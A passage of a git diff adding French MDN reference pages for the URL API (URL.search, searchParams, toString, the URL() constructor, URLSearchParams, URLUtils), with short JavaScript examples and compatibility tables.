+ <li><a href="/fr/docs/Web/API/File/Using_files_from_web_applications#Exemple_Utilisation_de_l'objet_URLs_pour_afficher_des_images">Utilisation de l’objet URLs pour afficher des images</a></li>
+ <li>{{domxref("URL.createObjectURL()") }}</li>
+</ul>
diff --git a/files/fr/web/api/url/search/index.html b/files/fr/web/api/url/search/index.html
new file mode 100644
index 0000000000..403f38959d
--- /dev/null
+++ b/files/fr/web/api/url/search/index.html
@@ -0,0 +1,63 @@
+---
+title: URL.search
+slug: Web/API/URL/search
+tags:
+  - API
+  - Propriété
+  - Recherche
+  - Reference
+  - URL
+translation_of: Web/API/URL/search
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>La propriété <strong><code>search</code></strong> de l'interface {{domxref("URL")}} est une chaine d'interrogation, aussi appellée une chaine de recherche, c'est un {{domxref("USVString")}} contenant le caractère <code>'?'</code> suivi des paramètres de l'URL.</p>
+
+<p>Les navigateurs récents fournissent la propriété {{domxref("URL.searchParams")}} qui permet d'analyser plus facilement les paramètres passés à la chaîne de recherche.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>chaineDeCaractere</em> = <em>objet</em>.search;
+<em>object</em>.search = <em>chaineDeCaractere</em>;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un {{domxref("USVString")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/search?q=123');
+var queryString = url.search; // Retourne:"?q=123"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-search', 'URL.search')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.URL.search")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("URL")}} associée.</li>
+</ul>
diff --git a/files/fr/web/api/url/searchparams/index.html b/files/fr/web/api/url/searchparams/index.html
new file mode 100644
index 0000000000..9fab62581f
--- /dev/null
+++ b/files/fr/web/api/url/searchparams/index.html
@@ -0,0 +1,65 @@
+---
+title: URL.searchParams
+slug: Web/API/URL/searchParams
+tags:
+  - API
+  - Lecture-seule
+  - Propriété
+  - Reference
+  - URL
+  - URLSearchParameters
+translation_of: Web/API/URL/searchParams
+---
+<div>{{APIRef("URL API")}}</div>
+
+<div> </div>
+
+<div>La propriété en lecture seule <strong><code>searchParams</code></strong> de l'interface {{domxref("URL")}} retourne</div>
+
+<div>un objet {{domxref("URLSearchParams")}} permettant d'accéder aux arguments décodés</div>
+
+<div>de la requête GET contenu dans l'URL.</div>
+
+<div> </div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var urlSearchParams = URL.searchParams;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Un objet {{domxref("URLSearchParams")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Si l'URL de votre page est <code>https://example.com/?nom=Jonathan%20Smith&amp;age=18</code><br>
+ vous pouvez extraire les paramètres 'nom' et 'age' en utilisant:</p>
+
+<pre class="brush: js">let params = (new URL(document.location)).searchParams;
+let name = params.get('nom'); // la chaine de caractère "Jonathan Smith".
+let age = parseInt(params.get('age')); // le nombre 18</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-searchparams', 'searchParams')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+
+
+<p>{{Compat("api.URL.searchParams")}}</p>
diff --git a/files/fr/web/api/url/tojson/index.html b/files/fr/web/api/url/tojson/index.html
new file mode 100644
index 0000000000..8c34a37e42
--- /dev/null
+++ b/files/fr/web/api/url/tojson/index.html
@@ -0,0 +1,57 @@
+---
+title: URL.toJSON()
+slug: Web/API/URL/toJSON
+tags:
+  - API
+  - Méthode
+  - Reference
+  - URL
+  - toJSON()
+translation_of: Web/API/URL/toJSON
+---
+<div>{{APIRef("URL API")}}</div>
+
+<p>La méthode <strong><code>toJSON()</code></strong> de l'interface {{domxref("URL")}} retourne un {{domxref("USVString")}} contenant une version sérialisé de l'URL, même si dans la pratique, il semble avoir le même effet que {{domxref("URL.toString()")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">json = url.toJSON();</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>A {{domxref("USVString")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-keyword">const</span> <span class="cm-def">url</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">URL</span>(<span class="cm-string">"https://developer.mozilla.org/en-US/docs/Web/API/URL/toString"</span>);
+<span class="cm-variable">url</span>.<span class="cm-property">toJSON</span>()</span></span></span>
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-tojson', 'toJSON()')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.URL.toJSON")}}</p>
diff --git a/files/fr/web/api/url/tostring/index.html b/files/fr/web/api/url/tostring/index.html
new file mode 100644
index 0000000000..fa5fca18b2
--- /dev/null
+++ b/files/fr/web/api/url/tostring/index.html
@@ -0,0 +1,63 @@
+---
+title: URL.toString()
+slug: Web/API/URL/toString
+tags:
+  - API
+  - Méthode
+  - Reference
+  - URL
+  - toString()
+translation_of: Web/API/URL/toString
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>La méthode <strong><code>URL.toString()</code></strong> retourne un {{domxref("USVString")}} contenant tout l'URL. C'est en effet, une version de {{domxref("URL.href")}} en lecture seule.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>url</em>.toString();</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{domxref("USVString")}}.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-keyword">const</span> <span class="cm-def">url</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">URL</span>(<span class="cm-string">"https://developer.mozilla.org/en-US/docs/Web/API/URL/toString"</span>);
+<span class="cm-variable">url</span>.<span class="cm-property">toString</span>() // doit retourner l'URL en tant que chaîne</span></span></span>
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#URL-stringification-behavior', 'stringifier')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.URL.toString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("URL")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/url/url/index.html b/files/fr/web/api/url/url/index.html
new file mode 100644
index 0000000000..af93288484
--- /dev/null
+++ b/files/fr/web/api/url/url/index.html
@@ -0,0 +1,105 @@
+---
+title: URL()
+slug: Web/API/URL/URL
+tags:
+  - API
+  - Constructeur
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/URL
+---
+<p>{{APIRef("URL API")}}</p>
+
+<p><span id="result_box" lang="fr"><span>Le constructeur </span></span><strong><code>URL()</code></strong><span lang="fr"><span> renvoie un nouvel objet </span></span>{{domxref("URL")}}<span lang="fr"><span> représentant l'URL définie par les paramètres.</span><br>
+ <br>
+ <span>Si l'URL de base donnée ou l'URL résultante ne sont pas des URL valides, une </span></span>{{domxref("DOMException")}}<span lang="fr"><span> de type </span></span><code>SYNTAX_ERROR</code><span lang="fr"><span> est levée.</span></span></p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>url</em> = new URL(<em>url</em>, [<em>base</em>])
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>url</em></dt>
+ <dd>
+ <div id="gt-res-content">
+ <div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="fr"><span>Un  </span></span>{{domxref("USVString")}}<span lang="fr"><span> représentant une URL absolue ou relative.</span> <span>Si l'URL est une URL relative, la base est obligatoire et sera utilisée comme URL de base.</span> <span>Si url est une URL absolue, une base donnée sera ignorée.</span></span></div>
+ </div>
+ </dd>
+ <dt><em>base </em>{{optional_inline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Un </span></span>{{domxref("USVString")}}<span lang="fr"><span> représentant l'URL de base à utiliser dans le cas où l'URL est une URL relative.</span></span> <span id="result_box" lang="fr"><span>Si non spécifié, il est par défaut à </span></span><code>''</code><span lang="fr"><span>.</span></span></dd>
+</dl>
+
+<div class="note">
+<p><strong>Remarque </strong>: <span id="result_box" lang="fr"><span>Vous pouvez toujours utiliser un objet {{domxref ("URL")}} existant pour la base, qui se stringifie en attribut {{domxref ("DOMString.href", "href")}} de l'objet.</span></span></p>
+</div>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Explication</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td><span id="result_box" lang="fr"><span>url (dans le cas d'URL absolues) ou base + URL (dans le cas d'URL relatives) n'est pas une URL valide.</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js  language-js">var a = new URL("/", "https://developer.mozilla.org"); // <span class="short_text" id="result_box" lang="fr"><span>Crée une URL pointant vers</span></span> 'https://developer.mozilla.org/'
+var b = new URL("https://developer.mozilla.org");      // <span class="short_text" id="result_box" lang="fr"><span>Crée une URL pointant vers</span></span> 'https://developer.mozilla.org/'
+var c = new URL('en-US/docs', b);                      // <span class="short_text" id="result_box" lang="fr"><span>Crée une URL pointant vers</span></span> 'https://developer.mozilla.org/en-US/docs'
+var d = new URL('/en-US/docs', b);                     // <span class="short_text" id="result_box" lang="fr"><span>Crée une URL pointant vers</span></span> 'https://developer.mozilla.org/en-US/docs'
+var f = new URL('/en-US/docs', d);                     // <span class="short_text" id="result_box" lang="fr"><span>Crée une URL pointant vers</span></span> 'https://developer.mozilla.org/en-US/docs'
+var g = new URL('/en-US/docs', "https://developer.mozilla.org/fr-FR/toto");
+                                                       // <span class="short_text" id="result_box" lang="fr"><span>Crée une URL pointant vers</span></span> 'https://developer.mozilla.org/en-US/docs'
+var h = new URL('/en-US/docs', a);                     // <span class="short_text" id="result_box" lang="fr"><span>Crée une URL pointant vers</span></span> 'https://developer.mozilla.org/en-US/docs'
+var i = new URL('/en-US/docs', '');                    // <span id="result_box" lang="fr"><span>Déclenche une exception TypeError car '' n'est pas une URL valide</span></span>
+var j = new URL('/en-US/docs');                        // <span id="result_box" lang="fr"><span>Déclenche une exception TypeError car '/ fr-US / docs' n'est pas une URL valide</span></span>
+var k = new URL('http://www.example.com', 'https://developers.mozilla.com');
+                                                       // <span class="short_text" id="result_box" lang="fr"><span>Crée une URL pointant vers</span></span> 'http://www.example.com/'
+var l = new URL('http://www.example.com', b);          // <span class="short_text" id="result_box" lang="fr"><span>Crée une URL pointant vers</span></span> 'http://www.example.com/'
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#constructors', 'URL.URL()')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>initialisation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden"><span id="result_box" lang="fr"><span>Le tableau de compatibilité sur cette page est généré à partir de données structurées.</span></span> <span id="result_box" lang="fr"><span>Si vous souhaitez contribuer aux données, consultez https://github.com/mdn/browser-compat-data et envoyez-nous une demande d'extraction.</span></span></div>
+
+<p>{{Compat("api.URL.URL")}}</p>
+
+<h2 id="À_voir_également">À voir également</h2>
+
+<ul>
+ <li><span class="short_text" id="result_box" lang="fr"><span>L'interface à laquelle il appartient</span></span> : {{domxref("URL")}}.</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/urlsearchparams/entries/index.html b/files/fr/web/api/urlsearchparams/entries/index.html
new file mode 100644
index 0000000000..af1a117d18
--- /dev/null
+++ b/files/fr/web/api/urlsearchparams/entries/index.html
@@ -0,0 +1,67 @@
+---
+title: URLSearchParams.entries()
+slug: Web/API/URLSearchParams/entries
+translation_of: Web/API/URLSearchParams/entries
+---
+<p>{{APIRef("URL API")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <code><strong>URLSearchParams.entries()</strong></code> retourne  un itérateur( {{jsxref("Iteration_protocols",'iterator')}}) permettant de parcourir les paires de clé/valeur contenues dans cet objet. La clé et la valeur de chaque paire est un objet  {{domxref("USVString")}} .</p>
+
+<div class="note">
+<p><strong>Note</strong>: This method is available in <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">searchParams.entries();</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Returns an {{jsxref("Iteration_protocols","iterator")}}.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight:[5]">// Create a test URLSearchParams object
+var searchParams = new URLSearchParams("key1=value1&amp;key2=value2");
+
+// Display the key/value pairs
+for(var pair of searchParams.entries()) {
+   console.log(pair[0]+ ', '+ pair[1]);
+}
+</pre>
+
+<p>The result is:</p>
+
+<pre>key1, value1
+key2, value2</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#urlsearchparams','entries() (as iterator&lt;&gt;)')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.URLSearchParams.entries")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other URL-related interfaces: {{domxref("URL")}}, {{domxref("URLUtils")}}.</li>
+</ul>
diff --git a/files/fr/web/api/urlsearchparams/index.html b/files/fr/web/api/urlsearchparams/index.html
new file mode 100644
index 0000000000..d5dd97ba18
--- /dev/null
+++ b/files/fr/web/api/urlsearchparams/index.html
@@ -0,0 +1,220 @@
+---
+title: URLSearchParams
+slug: Web/API/URLSearchParams
+translation_of: Web/API/URLSearchParams
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>L’interface <strong><code>URLSearchParams</code></strong> définit des méthodes utilitaires pour travailler avec la <em>chaîne de requête</em> (les paramètres <code>GET</code>) d’une URL.</p>
+
+<p>Un objet implémentant <code>URLSearchParams</code> peut être directement utilisé dans une structure {{jsxref("Statements/for...of", "for...of")}}, au lieu de {{domxref('URLSearchParams.entries()', 'entries()')}} : <code>for (var p of mySearchParams)</code> ou son équivalent <code>for (var p of mySearchParams.entries())</code>.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("URLSearchParams.URLSearchParams", 'URLSearchParams()')}}</dt>
+ <dd>Constructeur renvoyant un objet <code>URLSearchParams</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface n’hérite d’aucune propriété.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface n’hérite d’aucune méthode.</em></p>
+
+<dl>
+ <dt>{{domxref("URLSearchParams.append()")}}</dt>
+ <dd>Ajoute une paire clé / valeur spécifiée en tant que nouveau paramètre de recherche.</dd>
+ <dt>{{domxref("URLSearchParams.delete()")}}</dt>
+ <dd>Supprime le paramètre de recherche donné et sa valeur associée de la liste de tous les paramètres de recherche.</dd>
+ <dt>{{domxref("URLSearchParams.entries()")}}</dt>
+ <dd>Retourne un {{jsxref("Iteration_protocols","iterator")}} permettant de parcourir toutes les paires clé / valeur contenues dans cet objet.</dd>
+ <dt>{{domxref("URLSearchParams.get()")}}</dt>
+ <dd>Retourne la première valeur associée au paramètre de recherche donné.</dd>
+ <dt>{{domxref("URLSearchParams.getAll()")}}</dt>
+ <dd>Retourne toutes les valeurs associées au paramètre de recherche donné.</dd>
+ <dt>{{domxref("URLSearchParams.has()")}}</dt>
+ <dd>Retourne un {{jsxref("Boolean")}} indiquant si un tel paramètre de recherche existe.</dd>
+ <dt>{{domxref("URLSearchParams.keys()")}}</dt>
+ <dd>Retourne un {{jsxref("Iteration_protocols", "iterator")}} permettant de parcourir toutes les <strong>clés</strong> des paires clé / valeur contenues dans cet objet.</dd>
+ <dt>{{domxref("URLSearchParams.set()")}}</dt>
+ <dd>Définit la valeur associée à un paramètre de recherche donné à la valeur donnée. S’il y avait plusieurs valeurs, les autres sont supprimées.</dd>
+ <dt>{{domxref("URLSearchParams.sort()")}}</dt>
+ <dd>Trie toutes les paires clé / valeur, s’il y en a, par leurs clés.</dd>
+ <dt>{{domxref("URLSearchParams.toString()")}}</dt>
+ <dd>Retourne une chaîne contenant une chaîne de requête pouvant être utilisée dans une URL.</dd>
+ <dt>{{domxref("URLSearchParams.values()")}}</dt>
+ <dd>Retourne un {{jsxref("Iteration_protocols", "iterator")}} permettant de parcourir toutes les <strong>valeurs</strong> des paires clé / valeur contenues dans cet objet.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var paramsString = "q=URLUtils.searchParams&amp;topic=api";
+var searchParams = new URLSearchParams(paramsString);
+
+// Itère sur les paramètres de recherche.
+for (let p of searchParams) {
+  console.log(p);
+}
+
+searchParams.has("topic") === true; // true
+searchParams.get("topic") === "api"; // true
+searchParams.getAll("topic"); // ["api"]
+searchParams.get("foo") === null; // true
+searchParams.append("topic", "webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&amp;topic=api&amp;topic=webdev"
+searchParams.set("topic", "More webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&amp;topic=More+webdev"
+searchParams.delete("topic");
+searchParams.toString(); // "q=URLUtils.searchParams"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('URL', '#urlsearchparams', "URLSearchParams")}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatGeckoDesktop("29.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(36)}}</td>
+   <td>10.1</td>
+  </tr>
+  <tr>
+   <td><code>entries()</code>, <code>keys()</code>, <code>values()</code>, et support de <code>for...of</code></td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatGeckoDesktop("44.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(36)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>USVString</code> comme argument <code>init</code> du constructeur</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatGeckoDesktop("53.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Objet littéral comme argument <code>init</code> du constructeur</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatGeckoDesktop("54.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sort()</code></td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome pour Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatGeckoMobile("29.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(36)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>entries()</code>, <code>keys()</code>, <code>values()</code>, et support de <code>for...of</code></td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatGeckoMobile("44.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(36)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>USVString</code> comme argument <code>init</code> du constructeur</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatGeckoMobile("53.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Objet littéral comme argument <code>init</code> du constructeur</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatGeckoMobile("54.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sort()</code></td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(48)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox a un bug qui fait que les guillemets simples contenus dans les URLs sont échappés quand on y accède via les API d’URL ({{bug(1386683)}}). Cela a été corrigé à partir de Firefox 57.</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>Autres interfaces liées aux URL : {{domxref("URL")}}, {{domxref("URLUtils")}}.</li>
+ <li><a href="https://developers.google.com/web/updates/2016/01/urlsearchparams?hl=en">Google Developers: Easy URL manipulation with URLSearchParams</a></li>
+</ul>
diff --git a/files/fr/web/api/urlutils/index.html b/files/fr/web/api/urlutils/index.html
new file mode 100644
index 0000000000..7bbe88b470
--- /dev/null
+++ b/files/fr/web/api/urlutils/index.html
@@ -0,0 +1,213 @@
+---
+title: URLUtils
+slug: Web/API/URLUtils
+tags:
+  - API
+  - Experimental
+  - JavaScript
+  - Reference
+  - URL
+translation_of: Web/API/HTMLHyperlinkElementUtils
+---
+<p>{{APIRef}}{{SeeCompatTable}}</p>
+<p>L'interface <strong><code>URLUtils</code></strong> définit des méthodes utilitaires pour travailler avec les URL.</p>
+<p>il n'y a pas d'objets de ce type, mais quelques objets l'implémentent, comme {{domxref("Location")}}, {{domxref("URL")}}, {{domxref("HTMLAnchorElement")}}, et {{domxref("HTMLAreaElement")}}.</p>
+<h2 id="Propriétés">Propriétés</h2>
+<p><em>Cette interface n'hérite d'aucune propriété.</em></p>
+<dl>
+ <dt>
+  {{domxref("URLUtils.href")}}</dt>
+ <dd>
+  Une {{domxref("DOMString")}} contenant l'URL entière.</dd>
+ <dt>
+  {{domxref("URLUtils.protocol")}}</dt>
+ <dd>
+  Une {{domxref("DOMString")}} contenant le schéma de protocole de l'URL, incluant le <code>':'</code> final.</dd>
+ <dt>
+  {{domxref("URLUtils.host")}}</dt>
+ <dd>
+  Une {{domxref("DOMString")}} contenant <em>l'hôte,</em> c'est-à-dire le <em>domaine</em>, et, si le <em>port</em> de l'URL n'est pas vide (ce qui peut arriver s'il n'a pas été spécifié ou si la valeur spécifiée est celle du port par défaut du schéma de l'URL), un <code>':'</code>, et le <em>port</em> de l'URL.</dd>
+ <dt>
+  {{domxref("URLUtils.hostname")}}</dt>
+ <dd>
+  Une {{domxref("DOMString")}} contenant le domaine de l'URL.</dd>
+ <dt>
+  {{domxref("URLUtils.port")}}</dt>
+ <dd>
+  Une {{domxref("DOMString")}} contenant le numéro de port de l'URL.</dd>
+ <dt>
+  {{domxref("URLUtils.pathname")}}</dt>
+ <dd>
+  Une {{domxref("DOMString")}} contenant un <code>'/'</code> initial suivi du chemin de l'URL.</dd>
+ <dt>
+  {{domxref("URLUtils.search")}}</dt>
+ <dd>
+  Une {{domxref("DOMString")}} contenant un <code>'?'</code> suivi des paramètres de l'URL.</dd>
+ <dt>
+  {{domxref("URLUtils.hash")}}</dt>
+ <dd>
+  Une {{domxref("DOMString")}} contenant un <code>'#'</code> suivi de <em>l'identifiant de fragment</em> de l'URL.</dd>
+ <dt>
+  {{domxref("URLUtils.username")}}</dt>
+ <dd>
+  Une {{domxref("DOMString")}} contenant le nom d'utilisateur spécifié devant le nom de domaine.</dd>
+ <dt>
+  {{domxref("URLUtils.password")}}</dt>
+ <dd>
+  Une {{domxref("DOMString")}} contenant le mot de passe spécifié devant le nom de domaine.</dd>
+ <dt>
+  {{domxref("URLUtils.origin")}} {{readonlyInline}}</dt>
+ <dd>
+  Retourne une {{domxref("DOMString")}} contenant l'origine de l'URL, c'est-à-dire son schéma, son domaine et son port.</dd>
+ <dt>
+  {{domxref("URLUtils.searchParams")}}</dt>
+ <dd>
+  Retourne un objet {{domxref("URLSearchParams")}} permettant d'accéder aux arguments de requête GET contenus dans l'URL.</dd>
+</dl>
+<h2 id="Méthodes">Méthodes</h2>
+<p><em>Cette interface n'hérite d'aucune méthode.</em></p>
+<dl>
+ <dt>
+  {{domxref("URLUtils.toString()")}}</dt>
+ <dd>
+  Retourne une {{domxref("DOMString")}} contenant l'URL entière. C'est un synonyme de {{domxref("URLUtils.href")}}, sauf qu'il ne peut être utilisé pour modifier la valeur.</dd>
+</dl>
+<h2 id="Spécifications">Spécifications</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('URL', '#urlutils', 'URLUtils')}}</td>
+   <td>{{Spec2('URL')}}</td>
